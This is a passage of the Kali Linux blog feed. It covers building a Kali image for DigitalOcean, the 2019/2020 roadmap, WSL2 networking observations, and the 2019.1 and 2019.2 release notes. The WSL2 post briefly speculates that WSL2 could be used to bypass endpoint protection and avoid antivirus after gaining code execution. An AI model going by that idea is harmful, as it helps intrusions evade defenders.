&lt;p>In order for DigitalOcean to configure the system for us, we need to install the &lt;strong>&lt;em>cloud-init&lt;/em>&lt;/strong> package:&lt;/p>
&lt;pre>&lt;code class="language-sh">apt -y install cloud-init
echo 'datasource_list: [ ConfigDrive, DigitalOcean, NoCloud, None ]' &amp;gt; /etc/cloud/cloud.cfg.d/99_digitalocean.cfg
systemctl enable cloud-init
&lt;/code>&lt;/pre>
&lt;h3 id="update-grub">Update GRUB&lt;/h3>
&lt;p>When booting, the disk is attached and mapped as sda1. However, with the droplets, it is seen as vda1. To remedy this, we need to change all instances of sda1 to vda1 in &lt;strong>&lt;em>/boot/grub/grub.cfg&lt;/em>&lt;/strong>:&lt;/p>
&lt;pre>&lt;code class="language-sh">sed -i 's/sda1/vda1/g' /boot/grub/grub.cfg
&lt;/code>&lt;/pre>
&lt;p>With the configuration file updated, we can run &amp;lsquo;update-grub&amp;rsquo; to update the system:&lt;/p>
&lt;pre>&lt;code class="language-sh">update-grub
&lt;/code>&lt;/pre>
&lt;h3 id="prepare-for-ssh">Prepare for SSH&lt;/h3>
&lt;p>Since we will need to use SSH to connect to the system on DigitalOcean, the &lt;strong>&lt;em>openssh-server&lt;/em>&lt;/strong> package needs to be installed (and enabled) as well:&lt;/p>
&lt;pre>&lt;code class="language-sh">apt -y install openssh-server
systemctl enable ssh.service
&lt;/code>&lt;/pre>
&lt;p>When creating a standard droplet, you can choose to use SSH keys or not. However, when using custom images, this isn&amp;rsquo;t an option and using SSH keys is mandatory. For this reason, DigitalOcean requires us to remove the root password:&lt;/p>
&lt;pre>&lt;code class="language-sh">passwd -d root
&lt;/code>&lt;/pre>
&lt;p>We also need to create a &lt;strong>&lt;em>/root/.ssh&lt;/em>&lt;/strong> folder:&lt;/p>
&lt;pre>&lt;code class="language-sh">mkdir /root/.ssh
&lt;/code>&lt;/pre>
&lt;h3 id="cleanup">Cleanup&lt;/h3>
&lt;p>Before we finish with our virtual machine, we run a few commands to clean things up:&lt;/p>
&lt;pre>&lt;code class="language-sh">apt autoremove
apt autoclean
rm -rf /var/log/*
history -c
&lt;/code>&lt;/pre>
&lt;p>At this point, our virtual machine is ready so we run &amp;lsquo;poweroff&amp;rsquo; to shutdown the system:&lt;/p>
&lt;pre>&lt;code class="language-sh">poweroff
&lt;/code>&lt;/pre>
&lt;h2 id="uploading">Uploading&lt;/h2>
&lt;p>In the virtual machine folder, locate the &lt;strong>&lt;em>.vmdk&lt;/em>&lt;/strong> file, then compress it using bzip2, gzip, or zip in preparation for uploading to DigitalOcean:&lt;/p>
&lt;pre>&lt;code class="language-sh">bzip2 kali.vmdk
&lt;/code>&lt;/pre>
&lt;p>Login to your DigitalOcean account. In the &amp;ldquo;Manage&amp;rdquo; section on the left, click on &amp;ldquo;Images&amp;rdquo;, then select the &amp;ldquo;Custom Images&amp;rdquo; tab.&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/kali-linux-in-the-digitalocean-cloud/images/Picture2.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/kali-linux-in-the-digitalocean-cloud/images/Picture2.png" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;p>From there, we upload the compressed disk image. We&amp;rsquo;ll name it Kali, mark it as Debian, and select the region and datacenter to upload it to. Note that once uploaded to a location, droplets can only be started at that location, which is a current limitation for custom images. Another thing to remember at this stage is that uploaded images consume disk space and DigitalOcean will bill based on disk usage.&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/kali-linux-in-the-digitalocean-cloud/images/Picture3-1.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/kali-linux-in-the-digitalocean-cloud/images/Picture3-1.png" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;h2 id="starting-a-droplet">Starting a Droplet&lt;/h2>
&lt;p>Once done, the &amp;ldquo;Uploaded&amp;rdquo; column will indicate how long ago it was uploaded. Now we will click on the &amp;ldquo;More&amp;rdquo; option of the image and select &amp;ldquo;Start a droplet&amp;rdquo;.&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/kali-linux-in-the-digitalocean-cloud/images/Picture4.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/kali-linux-in-the-digitalocean-cloud/images/Picture4.png" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;p>You will be taken to the droplet settings where you can select the droplet plan, the SSH key, and the project to start it in. Since this is a custom image, it is required you use a SSH key. You can either select an existing one or upload a new one by clicking on &amp;ldquo;New SSH key&amp;rdquo;, which will open the following screen where you can paste the public key and name it:&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/kali-linux-in-the-digitalocean-cloud/images/Picture5-1.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/kali-linux-in-the-digitalocean-cloud/images/Picture5-1.png" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;p>Once done, click &amp;ldquo;Create&amp;rdquo; as shown below. It will then take you back to the dashboard (Manage &amp;gt; Droplets) where all your droplets are listed. Because we are using a SSH key, DigitalOcean will not send an email with credentials for the droplet.&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/kali-linux-in-the-digitalocean-cloud/images/Picture5b.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/kali-linux-in-the-digitalocean-cloud/images/Picture5b.png" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;p>Within a few seconds, and after the IP is displayed, our droplet will be ready. In order to connect, we will need to use the private SSH key we created (called MY_KEY in this example):&lt;/p>
&lt;pre>&lt;code class="language-console">user@computer:~$ ssh -i MY_KEY root@192.168.1.1
The authenticity of host '192.168.1.1 (192.168.1.1)' can't be established.
ECDSA key fingerprint is SHA256:d83fcd43d25e2a7edd291666160b47360cc85870ded.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added 'IP' (ECDSA) to the list of known hosts.
Linux kali-s-1vcpu-1gb-nyc3-01 4.19.0-kali5-amd64 #1 SMP Debian 4.19.37-2kali1 (2019-05-15) x86_64
The programs included with the Kali GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Kali GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
&lt;/code>&lt;/pre>
&lt;p>Now we have a nice, minimal Kali Linux installation that we can deploy and customize as needed:&lt;/p>
&lt;pre>&lt;code class="language-console">root@kali-s-1vcpu-1gb-nyc3-01:~# lsb_release -a
No LSB modules are available.
Distributor ID: Kali
Description: Kali GNU/Linux Rolling
Release: 2019.2
Codename: n/a
root@kali-s-1vcpu-1gb-nyc3-01:~# uname -a
Linux kali-s-1vcpu-1gb-nyc3-01 4.19.0-kali5-amd64 #1 SMP Debian 4.19.37-2kali1 (2019-05-15) x86_64 GNU/Linux
root@kali-s-1vcpu-1gb-lon1-01:~# free -h
total used free shared buff/cache available
Mem: 987Mi 51Mi 527Mi 1.0Mi 407Mi 790Mi
Swap: 0B 0B 0B
&lt;/code>&lt;/pre></description></item><item><title>Kali Linux Roadmap (2019/2020)</title><link>https://www.kali.org/blog/kali-linux-roadmap-2019-2020/</link><guid isPermaLink="true">https://www.kali.org/blog/kali-linux-roadmap-2019-2020/</guid><pubDate>Wed, 19 Jun 2019 00:00:00 +0000</pubDate><updated>Mon, 17 Jan 2022 00:00:00 +0000)</updated><enclosure url="https://www.kali.org/blog/kali-linux-roadmap-2019-2020/images/kali-roadmap-2019-2020.jpg" type="image/jpg"/><description>&lt;p>Now that our 2019.2 release is out, we thought we would take this opportunity to cover some of the changes and new features we have coming to Kali Linux in the following year. Normally, we only really announce things when they are ready to go public, but a number of these changes are going to impact users pretty extensively so we wanted to share them early.&lt;/p>
&lt;p>As you read through this post, what you will see is that we are really trying to balance our efforts between changes that are user facing and those that are applicable to the backend. The backend changes don&amp;rsquo;t seem as exciting at first, but the fact is that the easier it is for us to work on Kali, the easier it is for us to get to user facing features. Plus, some of these changes are focused on tweaking the development process to make it easier for others to get involved in the project.&lt;/p>
&lt;p>We are not ready to announce dates on any of these changes just yet. When they are ready, they will drop.&lt;/p>
&lt;h3 id="gitlab---the-new-home-for-kali-packages">GitLab - The New Home for Kali Packages&lt;/h3>
&lt;p>One of the biggest changes, which you may have already noticed, is our move of the Official Kali git repository to &lt;a href="https://gitlab.com/kalilinux">GitLab&lt;/a>. With this change, it&amp;rsquo;s easier than ever for the community to submit improvements to Kali packages and for us to apply them! We expect to make an heavy use of the GitLab Continous Integration features to streamline our work on packages and to provide automated feedback to all the contributors submitting merge requests.&lt;/p>
&lt;p>Documentation is coming soon on how to contribute packages. Expect a full guide to be published in &lt;a href="https://www.kali.org/docs/">our docs&lt;/a> later.&lt;/p>
&lt;h3 id="runtime-tests---finding-bugs-before-users">Runtime Tests - Finding Bugs Before Users&lt;/h3>
&lt;p>Speaking of packages, the detection of bugs and problems with the packages is always something to improve. Until now, we have relied on manual testing on our part and &lt;a href="https://bugs.kali.org/">user-provided bug reports&lt;/a>. This works ok, as popular packages would never stay broken for long but some edge packages could break for months at a time before anyone would notice and actually report it to us. (Let&amp;rsquo;s be honest, most of the time when you find something broken in Kali, you don&amp;rsquo;t create a bug report do you?)&lt;/p>
&lt;p>To improve this situation, we have recently deployed &lt;a href="https://salsa.debian.org/ci-team/debci">debci&lt;/a> on &lt;a href="https://autopkgtest.kali.org/">autopkgtest.kali.org&lt;/a>. This allows us to have our own continuous integration system, allowing for automated testing of Kali packages on a regular basis. We have integrated the result of those tests in the &lt;a href="https://pkg.kali.org/teams/kali-developers/">Kali Package Tracker&lt;/a>.&lt;/p>
&lt;p>For this infrastructure to be as useful as it can be, we will need to have &lt;a href="https://salsa.debian.org/ci-team/autopkgtest/raw/master/doc/README.package-tests.rst">runtime tests&lt;/a> on all our packages, which is still a long way off. Hopefully, this will be a place where we &lt;strong>get community help to speed up the process&lt;/strong>, so feel free to submit &lt;a href="https://gitlab.com/kalilinux/packages">merge requests&lt;/a> adding tests!&lt;/p>
&lt;h3 id="metapackages---what-is-installed-by-default">Metapackages - What is Installed by Default&lt;/h3>
&lt;p>One of the biggest challenges with running a project like Kali Linux is balance. We now have so many users that there&amp;rsquo;s no longer &amp;ldquo;one right size&amp;rdquo;. Traditionally, what people have asked for is &amp;ldquo;all the tools, all the time&amp;rdquo;. But as time has gone by, this has led to one of the largest (pun fully intended) issues with Kali: Bloat. Too many packages making too big of a distribution, large ISO sizes, etc. etc.&lt;/p>
&lt;p>To address this, we are giving our metapackages a refresh. This change includes the default Kali metapackage, &amp;ldquo;kali-linux-full&amp;rdquo;, the metapackage that controls what packages are installed on Kali by default. Needless to say, this is a big user-facing change that will impact everyone. Tools that we decide to drop are most often older tools that don&amp;rsquo;t have a lot of modern utility, have not been updated in years, or have been supplanted by newer better tools.&lt;/p>
&lt;p>What this means is that by default, some of the tools you may have relied upon may no longer be included by default. These tools will still exist in the repo, so you can install them manually or use a metapackage that contains them. You can see full documentation of the metapackages and what they contain at &lt;a href="https://www.kali.org/docs/general-use/metapackages/">kali.org/docs/general-use/metapackages/&lt;/a>&lt;/p>
&lt;p>Before these changes go live, we will do another blog post detailing them. Expect that these metapackages will be in flux for a bit as we continue to optimize.&lt;/p>
&lt;h3 id="default-shell---your-primary-kali-interface">Default Shell - Your Primary Kali Interface&lt;/h3>
&lt;p>The shell in Kali is likely the most used utility in the entire distribution for the majority of users. This creates a bit of a schizophrenic challenge in that it&amp;rsquo;s used so much we want to improve it, but at the same time we have to make sure it does not break.&lt;/p>
&lt;p>To address this, we will be adding default installations of &lt;a href="https://en.wikipedia.org/wiki/Z_shell">ZSH&lt;/a> and &lt;a href="https://en.wikipedia.org/wiki/Friendly_interactive_shell">FISH&lt;/a> to Kali. Each of these shells are optimized for penetration testers, which is sort of fun. Most of the time when you look at shell optimization, all the text is focused on developers, which is not where Kali sits. Our goal here is to have the best, most optimized, shell environment for penetration testers.&lt;/p>
&lt;p>At the same time, good old Bash won&amp;rsquo;t go away and we are going to leave it as the default for now. Those of you that want to be adventurous and try the new shells will find easy ways to switch. Those of you that just want to stick with Bash will still be able to. Expect in-shell instructions (and a blog post) when this change is rolled out.&lt;/p>
&lt;h3 id="documentation---read-the-fine-manual">Documentation - Read The Fine Manual&lt;/h3>
&lt;p>Expect some changes to &lt;a href="https://www.kali.org/docs/">&lt;strong>kali.org/docs/&lt;/strong>&lt;/a> and &lt;a href="https://www.kali.org/tools/">&lt;strong>kali.org/tools/&lt;/strong>&lt;/a>, along with an integration of the Kali manual into git via markdown. This will allow for user submitted documentation to help us keep instructions up to date and accurate. This is another great way for you to contribute to the Kali Linux project.&lt;/p>
&lt;h3 id="nethunter---new-blood">NetHunter - New Blood&lt;/h3>
&lt;p>As you may have noticed on Twitter and git commits, we have got another developer on board, &amp;ldquo;&lt;a href="https://twitter.com/Re4sonKernel">@Re4son&lt;/a>&amp;rdquo;, and he has put the &lt;a href="https://www.kali.org/get-kali/#kali-mobile">NetHunter&lt;/a> project into overdrive. He is working on supporting new hardware, working with the latest version of Android, and various bug fixes.&lt;/p>
&lt;p>There is also &amp;ldquo;&lt;strong>Project Redback&lt;/strong>&amp;rdquo;, but that is all we are going to say about that for the time being&amp;hellip;more about this in a blog post very soon.&lt;/p>
&lt;h3 id="what-else-can-we-expect">What Else can we Expect?&lt;/h3>
&lt;p>This is just the portion of the roadmap that makes sense to talk about now. There is a lot more in development that we are just not ready to talk about yet.&lt;/p>
&lt;p>We also would like to welcome &lt;a href="https://twitter.com/g0tmi1k">@g0tmi1k&lt;/a> who has switched over from &lt;a href="https://www.offsec.com/">OffSec&lt;/a> as a full time core &lt;a href="https://www.kali.org/about-us/">Kali developer&lt;/a>.&lt;/p>
&lt;p>We are at a really exciting stage of the Kali development process, where a lot of the behind the scenes items we have been working on are getting ready to go public. Expect a fair amount of improvements in Kali Linux over the next half of the year. If you want to discuss this post with us or have ideas on things that we might consider, please get in touch via &lt;a href="https://forums.kali.org/showthread.php?44470-Kali-Linux-Roadmap-(2019-2020)&amp;amp;p=86334#post86334">the forum&lt;/a>.&lt;/p></description></item><item><title>WSL2 and Kali</title><link>https://www.kali.org/blog/wsl2-and-kali/</link><guid isPermaLink="true">https://www.kali.org/blog/wsl2-and-kali/</guid><pubDate>Thu, 13 Jun 2019 00:00:00 +0000</pubDate><updated>Mon, 17 Jan 2022 00:00:00 +0000)</updated><enclosure url="https://www.kali.org/blog/wsl2-and-kali/images/wsl2-and-kali.jpg" type="image/jpg"/><description>&lt;p>Kali Linux has had support for WSL for &lt;a href="https://www.kali.org/blog/kali-on-the-windows-subsystem-for-linux/">some time&lt;/a>, but its usefulness has been somewhat limited. This was mostly due to restrictions placed on some system calls , most importantly those revolving &lt;a href="https://github.com/microsoft/WSL/issues/1349">around networking&lt;/a>. Furthermore, additional issues with speed, specifically I/O, were also problematic. Because of this, Kali WSL has mostly been relegated to reporting functions after an assessment is completed. A cool technology, and certainly an amazing engineering feat, but as is, it just was not that useful in the field.&lt;/p>
&lt;p>When &lt;a href="https://devblogs.microsoft.com/commandline/announcing-wsl-2/">WSL 2 was announced&lt;/a> however, we were excited about what this could mean for actually making Kali WSL more useful in. As such, when we saw that WSL 2 was available in the &lt;a href="https://devblogs.microsoft.com/commandline/wsl-2-is-now-available-in-windows-insiders/">Windows Insiders program&lt;/a> we wanted to jump right on it and see what improvements were made.&lt;/p>
&lt;h3 id="wsl2-conversion">WSL2 Conversion&lt;/h3>
&lt;p>After you have the new Windows Insider build installed, converting Kali WSL 1 to 2 is very easy.&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/wsl2-and-kali/images/conversion-cropped.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/wsl2-and-kali/images/conversion-cropped.png" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;p>This was a great surprise for us, as it also means we don&amp;rsquo;t have to do anything on our end to support WSL2. Kali&amp;rsquo;s current WSL distribution will work just fine, and you can convert your existing installation easily. According to &lt;a href="https://docs.microsoft.com/en-us/windows/wsl/wsl2-index">the docs&lt;/a> you can also set WSL2 as your default if you don&amp;rsquo;t have a Kali installed yet.&lt;/p>
&lt;p>Overall, this was a great surprise, and means Kali is ready for WSL 2 today.&lt;/p>
&lt;h3 id="kali-wsl-2-usage">Kali WSL 2 Usage&lt;/h3>
&lt;p>Ok, so WSL 2 works with Kali, but is it useful? We are just starting to play with WSL 2, so it&amp;rsquo;s really too early to say. However there are a few quick observations we have.&lt;/p>
&lt;p>Basic usage, such as updating Kali and installing packages, appears to work just fine.&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/wsl2-and-kali/images/kali-update-cropped.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/wsl2-and-kali/images/kali-update-cropped.png" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/wsl2-and-kali/images/nmap1.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/wsl2-and-kali/images/nmap1.png" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;p>However, simply installing something is not that interesting, The question is: does it work? One specific tool we wanted to immediately check was Nmap, which has always been a WSL pain point. As you can see from the screenshot, a basic Nmap scan works right out of the box! Thats great news and is very promising for WSL 2 as it continues development.&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/wsl2-and-kali/images/nmap-run.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/wsl2-and-kali/images/nmap-run.png" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;p>That should not be a great surprise however, as WSL 2 at its core is really a low overhead and optimized VM. This has brought about some changes for those of us who have been using WSL for a while. These changes fall mostly along the lines of process spaces, networking, and filesystem interaction. This brings up some items we will have to watch as WSL continues to mature.&lt;/p>
&lt;h4 id="all-networking-appears-to-be-nated-in-the-current-release">All networking appears to be NATed in the current release.&lt;/h4>
&lt;p>Microsoft states:&lt;/p>
&lt;blockquote>
&lt;p>In the initial builds of the WSL 2 preview, you will need to access any Linux server from Windows using the IP address of your Linux distro, and any Windows server from Linux using the IP address of your host machine. This is something that is temporary, and very high on our priority list to fix.&lt;/p>
&lt;/blockquote>
&lt;p>So, no bridged mode. Anyone who uses Kali in a VM knows that for an actual assessment work it&amp;rsquo;s always better to run Kali in bridged mode, not NAT. With the current release, reverse shells are really not going to be an easy option without playing around with port forwarding on the Windows side. Additionally, we don&amp;rsquo;t yet know the strength of the NAT engine. While scans ran through WSL2 are now possible, their results will remain questionable until we find how much the NAT engine impacts them.&lt;/p>
&lt;h4 id="as-it-is-in-a-vm-the-process-space-is-separate">As it is in a VM, the process space is separate.&lt;/h4>
&lt;p>This is interesting, as it might actually open up Kali WSL 2 to be a useful endpoint protection bypass. If you get code execution on a Windows 10 system that supports WSL 2, could you install a Kali instance and pivot from there instead of the base operating system? This remains to be seen as this is still in development and Microsoft seems to want to unify the Linux and Windows experience as much as possible. The end point protection programs might become &amp;ldquo;WSL Aware&amp;rdquo;, which makes this is an interesting item to watch.&lt;/p>
&lt;h4 id="wsl-2s-filesystem-is-now-in-a-virtual-disk">WSL 2&amp;rsquo;s filesystem is now in a virtual disk.&lt;/h4>
&lt;p>Similar to traditional VMs, there is now a virtual disk that holds the WSL 2 instance. In the past, one of the WSL issues that would come up is that many Kali tools would trigger anti-virus protections. To keep Kali WSL useful you would have to make exclusions for the location in which the Kali files were saved on the Windows filesystem.&lt;/p>
&lt;p>Now that it&amp;rsquo;s in a virtual disk, much like the process space isolation, it will remain to be seen how AV might deal with it. Currently, it appears that AV ignores this virtual disk and its contents but as WSL reaches general availability it is possible AV products will become WSL 2 aware. Again, something we will need to watch.&lt;/p>
&lt;h3 id="overall">Overall&lt;/h3>
&lt;p>As it stands, WSL 2 is an exciting technology and most definitely worth paying attention to. This is the first public beta and a lot will change over time. As such, we will track its development and see what we can do to make WSL 2 more useful for our purposes. As it stands however, it already seems more useful than what we have experienced with WSL 1 for actual production use. However, WSL 1 is still supported on a WSL 2 system so if you are a WSL user you can pick what&amp;rsquo;s best for you.&lt;/p></description></item><item><title>Kali Linux 2019.2 Release</title><link>https://www.kali.org/blog/kali-linux-2019-2-release/</link><guid isPermaLink="true">https://www.kali.org/blog/kali-linux-2019-2-release/</guid><pubDate>Tue, 21 May 2019 00:00:00 +0000</pubDate><updated>Mon, 17 Jan 2022 00:00:00 +0000)</updated><enclosure url="https://www.kali.org/blog/kali-linux-2019-2-release/images/kali-release-2019.jpg" type="image/jpg"/><description>&lt;p>Welcome to our second release of 2019, Kali Linux 2019.2, which is available for immediate &lt;a href="https://www.kali.org/get-kali/">download&lt;/a>. This release brings our kernel up to version 4.19.28, fixes numerous bugs, includes many updated packages, and most excitingly, features a new release of Kali NetHunter!&lt;/p>
&lt;h3 id="kali-nethunter-20192-release">Kali NetHunter 2019.2 Release&lt;/h3>
&lt;p>Thanks to the tireless contributions from the vibrant NetHunter community led by @Re4son, @binkybear, @fattire, @jmingov, @jcadduono, @Kimocoder, and @PaulWebSec, NetHunter now supports over 50 devices running all the latest Android versions, from KitKat through to Pie. To celebrate this milestone, we have released &lt;strong>13&lt;/strong> new NetHunter images for the latest Android versions of our favourite devices, including:&lt;/p>
&lt;ul>
&lt;li>Nexus 6 running Pie&lt;/li>
&lt;li>Nexus 6P, Oreo&lt;/li>
&lt;li>OnePlus2, Pie&lt;/li>
&lt;li>Galaxy Tab S4 LTE &amp;amp; WiFi, Oreo&lt;/li>
&lt;/ul>
&lt;p>These and many more can be downloaded from our &lt;a href="https://www.kali.org/get-kali/#kali-mobile">NetHunter&lt;/a> page. If you cannot find an image for your favourite device and you are interested in porting NetHunter, we would love for you to join our community and give it a crack. More information can be found at our new home on &lt;a href="https://www.kali.org/docs/nethunter/">kali-docs&lt;/a>.&lt;/p>
&lt;h3 id="tool-upgrades">Tool Upgrades&lt;/h3>
&lt;p>This release largely features various tweaks and bug fixes but there are still many updated tools including &lt;a href="https://pkg.kali.org/pkg/seclists">seclists&lt;/a>, &lt;a href="https://pkg.kali.org/pkg/msfpc">msfpc&lt;/a>, and &lt;a href="https://pkg.kali.org/pkg/exe2hexbat">exe2hex&lt;/a>.&lt;/p>
&lt;p>For the complete list of updates, fixes, and additions, please refer to the &lt;a href="https://bugs.kali.org/changelog_page.php">Kali Bug Tracker Changelog&lt;/a>.&lt;/p>
&lt;h3 id="arm-updates">ARM Updates&lt;/h3>
&lt;p>For our ARM users, be aware that the first boot will take a bit longer than usual, as it requires the reinstallation of a few packages on the hardware. This manifests as the login manager crashing a few times until the packages finish reinstalling and is expected behaviour.&lt;/p>
&lt;h3 id="download-kali-linux-20192">Download Kali Linux 2019.2&lt;/h3>
&lt;p>If you would like to check out this latest and greatest Kali release, you can find download links for ISOs and Torrents on the &lt;a href="https://www.kali.org/get-kali/">Kali Downloads&lt;/a> page along with links to the &lt;a href="https://www.kali.org/get-kali/#kali-vm">OffSec virtual machine and ARM images&lt;/a>, which have also been updated to 2019.2. If you already have a Kali installation you&amp;rsquo;re happy with, you can easily upgrade in place as follows:&lt;/p>
&lt;pre>&lt;code class="language-console">root@kali:~# apt update &amp;amp;&amp;amp; apt -y full-upgrade
&lt;/code>&lt;/pre>
&lt;h4 id="ensuring-your-installation-is-updated">Ensuring your Installation is Updated&lt;/h4>
&lt;p>To double check your version, first make sure your Kali &lt;a href="https://www.kali.org/docs/general-use/kali-linux-sources-list-repositories/">package repositories&lt;/a> are correct:&lt;/p>
&lt;pre>&lt;code class="language-console">root@kali:~# cat /etc/apt/sources.list
deb http://http.kali.org/kali kali-rolling main contrib non-free
&lt;/code>&lt;/pre>
&lt;p>Then after running &amp;lsquo;apt -y full-upgrade&amp;rsquo;, you may require a &amp;lsquo;reboot&amp;rsquo; before checking:&lt;/p>
&lt;pre>&lt;code class="language-console">root@kali:~# grep VERSION /etc/os-release
VERSION=&amp;quot;2019.2&amp;quot;
VERSION_ID=&amp;quot;2019.2&amp;quot;
root@kali:~# uname -a
Linux kali 4.19.0-kali4-amd64 #1 SMP Debian 4.19.28-2kali1 (2019-03-18) x86_64 GNU/Linux
&lt;/code>&lt;/pre>
&lt;p>If you come across any bugs in Kali, please open a report on our &lt;a href="https://bugs.kali.org/main_page.php">bug tracker&lt;/a>. We&amp;rsquo;ll never be able to fix what we don&amp;rsquo;t know about.&lt;/p></description></item><item><title>Kali Linux 2019.1 Release</title><link>https://www.kali.org/blog/kali-linux-2019-1-release/</link><guid isPermaLink="true">https://www.kali.org/blog/kali-linux-2019-1-release/</guid><pubDate>Mon, 18 Feb 2019 00:00:00 +0000</pubDate><updated>Mon, 17 Jan 2022 00:00:00 +0000)</updated><enclosure url="https://www.kali.org/blog/kali-linux-2019-1-release/images/kali-release-2019.jpg" type="image/jpg"/><description>&lt;p>Welcome to our first release of 2019, Kali Linux 2019.1, which is available for immediate &lt;a href="https://www.kali.org/get-kali/">download&lt;/a>. This release brings our kernel up to version 4.19.13, fixes numerous bugs, and includes many updated packages.&lt;/p>
&lt;h3 id="tool-upgrades">Tool Upgrades&lt;/h3>
&lt;p>The big marquee update of this release is the update of Metasploit to version 5.0, which is their first major release since version 4.0 came out in 2011:&lt;/p>
&lt;pre>&lt;code class="language-console">root@kali:~# msfconsole
, ,
/ \
((__---,,,---__))
(_) O O (_)_________
\ _ / |\
o_o \ M S F | \
\ _____ | *
||| WW|||
||| |||
=[ metasploit v5.0.2-dev ]
+ -- --=[ 1852 exploits - 1046 auxiliary - 325 post ]
+ -- --=[ 541 payloads - 44 encoders - 10 nops ]
+ -- --=[ 2 evasion ]
+ -- --=[ ** This is Metasploit 5 development branch ** ]
msf5 &amp;gt;
&lt;/code>&lt;/pre>
&lt;p>&lt;a href="https://blog.rapid7.com/2019/01/10/metasploit-framework-5-0-released/">Metasploit 5.0&lt;/a> is a massive update that includes &lt;a href="https://github.com/rapid7/metasploit-framework/wiki/Metasploit-Web-Service">database and automation APIs&lt;/a>, &lt;a href="https://www.rapid7.com/info/encapsulating-antivirus-av-evasion-techniques-in-metasploit-framework/">new evasion capabilities&lt;/a>, and usability improvements throughout. Check out their in-progress &lt;a href="https://github.com/rapid7/metasploit-framework/wiki/Metasploit-5.0-Release-Notes">release notes&lt;/a> to learn about all the new goodness&lt;/p>
&lt;p>Kali Linux 2019.1 also includes updated packages for &lt;a href="https://www.kali.org/tools/theharvester/">theHarvester&lt;/a>, &lt;a href="https://pkg.kali.org/pkg/dbeaver">DBeaver&lt;/a>, and more. For the complete list of updates, fixes, and additions, please refer to the &lt;a href="https://bugs.kali.org/changelog_page.php">Kali Bug Tracker Changelog&lt;/a>.&lt;/p>
&lt;h3 id="arm-updates">ARM Updates&lt;/h3>
&lt;p>The 2019.1 Kali release for ARM includes the return of Banana Pi and Banana Pro, both of which are on the 4.19 kernel. Veyron has been moved to a 4.19 kernel and the Raspberry Pi images have been simplified so it is easier to figure out which one to use. There are no longer separate Raspberry Pi images for users with TFT LCDs because we now include @Re4son&amp;rsquo;s &lt;strong>kalipi-tft-config&lt;/strong> script on all of them, so if you want to set up a board with a TFT, run &amp;lsquo;kalipi-tft-config&amp;rsquo; and follow the prompts.&lt;/p>
&lt;h3 id="download-kali-linux-20191">Download Kali Linux 2019.1&lt;/h3>
&lt;p>If you would like to check out this latest and greatest Kali release, you can find download links for ISOs and Torrents on the &lt;a href="https://www.kali.org/get-kali/">Kali Downloads&lt;/a> page along with links to the &lt;a href="https://www.kali.org/get-kali/#kali-vm">OffSec virtual machine and ARM images&lt;/a>, which have also been updated to 2019.1. If you already have a Kali installation you&amp;rsquo;re happy with, you can easily upgrade in place as follows:&lt;/p>
&lt;pre>&lt;code class="language-console">root@kali:~# apt update &amp;amp;&amp;amp; apt -y full-upgrade
&lt;/code>&lt;/pre>
&lt;h4 id="ensuring-your-installation-is-updated">Ensuring your Installation is Updated&lt;/h4>
&lt;p>To double check your version, first make sure your Kali &lt;a href="https://www.kali.org/docs/general-use/kali-linux-sources-list-repositories/">package repositories&lt;/a> are correct:&lt;/p>
&lt;pre>&lt;code class="language-console">root@kali:~# cat /etc/apt/sources.list
deb http://http.kali.org/kali kali-rolling main contrib non-free
&lt;/code>&lt;/pre>
&lt;p>Then after running &amp;lsquo;apt -y full-upgrade&amp;rsquo;, you may require a &amp;lsquo;reboot&amp;rsquo; before checking:&lt;/p>
&lt;pre>&lt;code class="language-console">root@kali:~# grep VERSION /etc/os-release
VERSION=&amp;quot;2019.1&amp;quot;
VERSION_ID=&amp;quot;2019.1&amp;quot;
root@kali:~#
root@kali:~# uname -a
Linux kali 4.19.0-kali1-amd64 #1 SMP Debian 4.19.13-1kali1 (2019-01-03) x86_64 GNU/Linux
&lt;/code>&lt;/pre>
